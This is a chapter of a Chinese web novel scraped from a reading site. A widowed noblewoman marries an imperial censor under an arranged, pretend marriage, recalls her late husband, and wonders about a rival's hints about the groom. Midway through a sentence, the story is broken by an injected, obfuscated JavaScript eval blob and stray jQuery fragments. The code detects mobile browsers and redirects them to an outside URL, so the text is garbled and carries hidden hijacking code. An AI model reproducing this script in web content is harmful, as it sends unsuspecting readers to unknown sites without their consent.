123读书网 > 都市小说 > 守寡再婚后,亡夫回来了 > 20. 第 20 章
    沈婉仪在新房里静候着。


    再入洞房,她的心里再也没有当初那般紧张和兴奋,经历了刚刚萧延的胡搅蛮缠之后,她现在身心更是只剩下疲惫。


    和......一点点的疑惑。


    疲惫自不必说,成亲这日繁琐的礼节本就多得难以想象,并且这桩婚事是圣上钦赐,更是比起她与梁钺成婚那次多了许多细节,她今日折腾到现在已经是精疲力竭。


    而至于这疑惑嘛,沈婉仪从刚刚回房便在想,若是刚刚永安王没有赶来,那萧延所说这柳大人的精彩过往究竟是什么?


    她虽然瞧不见萧延脸上的表情,可是却能听出他声音中的笃定,他笃定自己说出来之后,她就不会嫁给柳青砚。


    究竟是何事才能让他做此判断?这便是沈婉仪从刚刚离开前厅便一直在思考的问题。


    同时她也在问自己到底什么样的事才会让她选择不嫁给柳青砚呢?德行有亏?三心二意?


    沈婉仪思考了半晌,得出了一个不太确切的答案。


    若是这柳青砚的品行比这萧延还要恶劣许多,萧延要所说之事是当众揭露要揭露他之恶行,且事情为真的话,那她确实会考虑是否还要嫁给他。


    但之所以说这个答案不确切,是因为她一时也想不出可以让她不选择柳青砚的理由。因为她本就没有选择的余地。


    几个月前,她选择答应柳青砚的成亲是因为她只能在他和萧延之中选。但凡当初没有遇见萧延,她后来也不会答应柳青砚的求亲。


    按照沈婉仪原本的计划,她在丧期满之后都还会待在沈国公府好几年,日子久了说不定沈父沈母也被她打动了,不再逼着她嫁人,那时她更是可以顺理成章地在国公府里待一辈子。


    若是父母没有被她打动,一直催着她要嫁人,她到时便再找个好拿捏的嫁过去。只要提前与那人谈好条件,成亲一年两人便和离,届时她再以心灰意冷为由,再不谈婚论嫁,这样沈父沈母也拿她没有办法。


    起先她将这个想法讲给江霁月听的时候,她也拍案叫好,可是随即便提出了疑问,“若是你找的那个人,不按照你计划的来,到时不与你和离怎么办?”


    这是计划实施的关键,她早就已经想好了对策,她面容沉静回答道,“所以一开始便要找个好拿捏的,最好出生家世都要差上沈国公府许多,这样届时他也不敢在我面前造次。”


    “那万一他瞧上了你们沈公府的富贵,想要当凤凰男怎么办?”


    沈婉仪还是第一次听到这个说法,抬眼疑惑地问,“什么是凤凰男?”


    江霁月一愣,拍了拍腿,后知后觉反应过来,为她寻了个通俗解释,“就是攀高枝的。”


    这样说沈婉仪便明白了。


    江霁月见她点了点头,又接着道,“他若是当面一套背后一套,在你父母面前赚得他们的信任,慢慢接过沈府的大权,你到时想拿捏都拿捏不住了,你这计划不就功亏一篑了吗?”


    是有些道理,但这个问题沈婉仪也考虑过,她道,“所以不光是要找个好拿捏的,最好更是要能直接捏住他的命门,让他全权配合,这样他才不会在父亲母亲面前乱说话,也不敢再抱有其他的心思。”


    江霁月听到她的话,不禁眉毛一挑露出一抹促狭的笑来,她打趣道,“好啊,婉婉,我还一直以为你是一个乖乖女呢,原来你还打过这主意。”


    好友这样说,沈婉仪有些不好意思,她解释道,“也没有其他办法,只好出此下策了。”


    见闺蜜有些挫败,江霁月立马鼓励道,“婉婉,别不好意思,其实我觉得你这个办法还是可行的,只是到时候你这个人可得好好找。”


    “我会好好找的。”


    “说不定运气好的话,你父母日后真被你打动了,不想你这唯一女儿再嫁出去呢,这样你甚至都不用去找人配合做戏了!”


    听着这美好的畅想,沈婉仪不免也露出了一抹微笑。


    ......


    只是命运向来对她没有那么厚道,它甚至没给她留实施这个计划的机会。但好在峰回路转,她还遇上了一个柳青砚可供选择。


    柳青砚在万鹤楼的提议,她是不可能告诉父母的,但江霁月她还是信得过的,于是当日她在万鹤楼与柳青砚的所有对话,她后来都一五一十地转述给了江霁月听。


    虽那时她已经答应了这桩婚事,但她仍是想听听自己手帕交的建议。


    江霁月听完柳青砚提议时的反应,原本靠在桌沿上的手猛地一拍,紧跟着便站起了身,这突如其来的动作吓了沈婉仪一跳,她不解地看着她,却见她喜出望外地将双手搭在她的肩膀上,“婉婉,你说,你这算不算打瞌睡便有人递枕头?“”


    沈婉仪知道她的意思,从某种意义上来说,柳青砚其实挺符合当初她的第二个计划的人选的。


    只是按照原定的计划,她得去一一筛选符合要求的人,而柳青砚,他则是自己送上门来的。


    沈婉仪没有被这喜悦冲昏头脑,“也不太算。他官位有些高,日后指不定还要继续往上走,怕是不好拿捏。”


    江霁月支着下巴,眨了眨眼,“说的也是。不过你父亲是吏部尚书,他就算要往上走也得多靠你父亲提携,你找机会与伯父谈谈,让他别爬得太高便是,不然日后真成了凤凰男了。”


    江霁月的话不无道理,是以那天她走后,沈婉仪便一直想找父亲谈谈这事,可谁知道还未与沈父商量此事,她便从柳青砚处知道了空白圣旨一事。


    这下是帮也不行,不帮也不行,后来内心的惭愧终于占据了上风,于是才有了沈婉仪当日夜里与父亲的那场谈话,柳青砚确实于她有大恩,是该好好报答他。


    但当初答应这场婚事时,沈婉仪就料想过怕出现这样的局面,于是便提前向柳青砚要好了和离书,这样即使他日后平步青云,沈婉仪也不怕他不放人。


    即使将日后的打算都已经想好,但今日乍然听萧延提起柳青砚的过往,沈婉仪却还是忍不住感到好奇。


    当时父亲从永兴寺向她来信时,便已在信后附上了柳青砚的过往经历,可她当时看下来,并没有发现任何德行有亏之处。


    那萧延今日没有说出口的事,是父亲派去的人没有查探到,还是说他是故意捏造的?


    不过无论哪一个,听他语气中暗含的兴奋,这件事说出来绝对会败坏柳青砚的名声,并且还会影响她对柳青砚的判断。


    这样说来,无论这件事是真是假,她都得弄清楚才行了,毕竟这也与她有关。


    那她是直接去问当事人呢还是自己私下派人去查探呢?


    可若是真如萧延所说是“精彩过往”,这样的经历想必柳青砚不愿让外人知晓,她与他最多算个合作关系,她没有立场去问他的私事。


    就算勉强把他说服,说此事与自己有关,让他告诉自己实情,沈婉仪也并不能判断他说的话是真是假,毕竟人总是趋利避害,更何况这事事关他的名誉。


    看来还是得私下派人去查探了,这样比较可靠一点。


    正想着,门“吱呀”一声被推开了。


    紧接着便是凌乱的脚步声还有些喧闹的人声,沈婉仪估摸着应该进来了好几个人,应是喜娘和柳青砚他们一起进来了。


    果不其然,下一秒屋内便响起了喜娘的声音,“新娘子莫怕,这入了洞房呀也还有其他流程,咱们得需把流程走全了,这桩婚事才能长久、安稳!”


    喜娘的声音带着热情和活络,“来,新郎上前一步,咱们先把盖头掀了,再行合卺礼!”


    这些仪式沈婉仪也是知晓的,但当时她与梁钺入洞房时,梁钺将人都撤了,全程只有她们二人。


    她后来问他为何如此,他只笑嘻嘻地回了一句,“你那日都那么累了,再放那么多人去闹你,你索性得烦死,而且只有我们两个人,也再不必拘礼了,你也要轻松许多。”


    他说完便做出一副“你看我这么贴心,你还不快夸我”的表情,还特意往自己脸上指了指,弄得沈婉仪只好无奈地亲了亲他的脸,以资奖励。


    他却故意在她凑上来时将脸微微一偏,将吻落在她的唇上,一吻即离,眉眼尽是戏谑,“夫君这么贴心,夫人就打算这样奖励我啊?”


    简直得了便宜还卖乖,沈婉仪见他这幅登徒子的模样,忍不住上手轻轻拧了拧他腰上的软肉。


    “夫人,疼...疼..疼......”


    简直胡说,她根本没用劲。


    ......


    “夫人?”


    清越的声音将沈婉仪的思绪拉回,同样的称呼却是由不同的人喊出这让她有些恍惚。


    此时视线已然失去了遮挡,光线倏地涌进来,她下意识眨了眨眼,倏尔反映过来,盖头已经揭开了。


    她轻轻抬眸望向唤她“夫人”的人,一身醒目的大红喜服非但没有掩盖他的清冽气质,反而将他的眉目衬得愈发清俊。他穿红色反倒越显清冷,与梁钺正好相反,梁钺若是穿红衣,整个人都愈发张扬起来。


    见沈婉仪久久盯着他不言语,柳青砚有些不自然地别过视线。或许是新房中皆是一片红色,烛火摇晃下,沈婉仪见着他的耳根似乎也渐渐泛了红。


    喜娘接过芸香递过来的两杯酒走上前,递到两人手中,笑着念叨:“合卺合心同甘共苦——”


    沈婉仪接过酒杯,指尖碰到微凉的杯壁,交换酒杯时她的手指不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922789|192630||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    小心擦过了柳青砚的手,那一瞬,她似乎感觉他的身体很是僵硬。不过转念一想,柳大人常年孑然一身,或许不习惯别人的亲密触碰,今日这一番流程下来,倒是难为他了。


    喝完合卺酒,喜娘又张罗着撒帐。


    一把把花生、桂圆、红枣从鎏金盘子里捧起撒向塌上,喜娘喜笑颜开地念着吉祥话:“早生贵子瓜瓞绵绵——”


    撒帐过后,便要合髻了,喜娘拿来剪子,准备取头发,沈婉仪见状故作腼腆道,“剩下的便我们自己来吧。”说着便招来芸香将备好的锦囊拿了过来,里面装着的是沉甸甸的喜钱。


    喜娘接过锦囊,掂了掂分量,笑得几乎合不拢嘴。以前也有过类似的情况,无非是一双新人太过害羞不习惯太多外人在场,是以她并未觉得有任何不妥。


    她嘱咐了几句新人要互敬互爱之类的话后,便笑着带着芸香等人退了出去,临走时还贴心地掩上了房门。


    屋内瞬间安静下来,只剩下两人的呼吸声,气氛忽然变得有些微妙。


    “今日就到此为止吧。”


    “阿婉,累坏了吧?我......”


    两人几乎同时开口,听见对方的话语都皆是一怔,还是柳青砚先反应过来,接着道,“那便听阿婉的,到此为止吧。”


    他说完便抬手伸了过来,沈婉仪瞧见他的动作下意识地避了开来。


    柳青砚抬着的手僵了那么一下,随即又缓过来,唇角牵起一点无奈又温和的笑意,低声解释道,“是我唐突了。原是想替你将凤冠和其他发饰卸下来,想着这样你若想歇着就可以先躺一会儿。”


    他这般解释,倒是显得沈婉仪是以小人之心度君子之腹了。沈婉仪有些尴尬地答道,“无碍,就不劳烦大人了,我自己来吧。”


    柳青砚见她拒绝倒也不恼,他也怕逼的太紧反倒适得其反了。


    她说完便起身走到梳妆台前坐下,自己对着铜镜一件件地取下将头上的饰物。


    不知道是不是她的错觉,她在梳头时,总觉得柳青砚的视线似乎一直在背后追随着她,可是等她看过去时,他的目光正落在榻边龙凤烛跳跃的烛火上,眉峰微蹙,像是在琢磨什么心事,仿佛方才那道专注的目光,不过是她被烛火晃花了眼的错觉。


    见她收拾完,他温柔地问,“要不要吃点东西?折腾了一天,阿婉定是饿极了。”


    沈婉仪摇了摇头,自打有了上次和梁钺成亲时的经验,她便让芸香备好了一些点心在身上揣着,刚刚没人时,她已吃下了好几块点心充饥,现在都还不饿。


    不过听他又在唤“阿婉”,她便好心提醒道,“大人,现下并无他人,其实不必如此称呼。”


    纵然沈婉仪答应了要在人前做戏,但是现在别无他人,二人实在不必亲密相称。她这般想着,便也将这话说了出来。


    听到这话,柳青砚神色严肃了几分,他用眼神示意她看向门外,压低了声音,“阿婉,隔墙有耳的道理你不会不懂吧?”


    她当然懂,可是这称呼上的小事,谁会特意来偷听?


    况且她只是提议四下无人时可正常称呼,人前她仍然会扮演好一个夫人的角色。这样就算有人偷听到,也顶多会认为她们夫妻二人私下相处时相敬如宾,再也挑不出其他任何错处。


    见她不为所动的模样,柳青砚又缓缓道,“阿婉,你知道的,我是个御史中丞。虽官位不算高,但因职责所在,弹劾了不少大大小小的官员,在朝中得罪了不少人。是以,阿婉,你别看这柳府虽小,但府里的眼睛却不算少。”


    果然还是官位太高了,沈婉仪在心里默默想着,虽他谦虚说自己官位不算高,但若是按照她当初的计划去选人,他是绝对不会出现在她的备选名单上的。


    因为官位一高,就会出现他所说的这种情况,导致他们二人的举动时时刻刻都被人盯着,半点也松懈不得。


    罢了,之前就此事已经谈论过一遍,这柳府里既是如他所说的这般情况,那也不必再此事上再费口舌了,便由他吧。


    不过听他提起御史中丞的身份,沈婉仪倒记起白日里的事,忍不住问:“大人既是御史中丞,按道理来讲该是能言善辩的,可今日萧延那般恶语相向,大人怎的一句反驳都没有?”


    “还是说大人您......”真被那萧延说中了?


    这后一句便是有试探的意味在了,虽沈婉仪已然决定私下派人去查探,但是旁敲侧击一下也无妨。


    可谁知,她这几句话问出口,听在柳青砚的耳朵里却全然变了味。


    二人隔着几步的距离,他隔着荧荧烛火朝她望过来,眼波如秋水,潋滟得让人沉醉,他轻笑一声,“阿婉,你是在关心我吗?”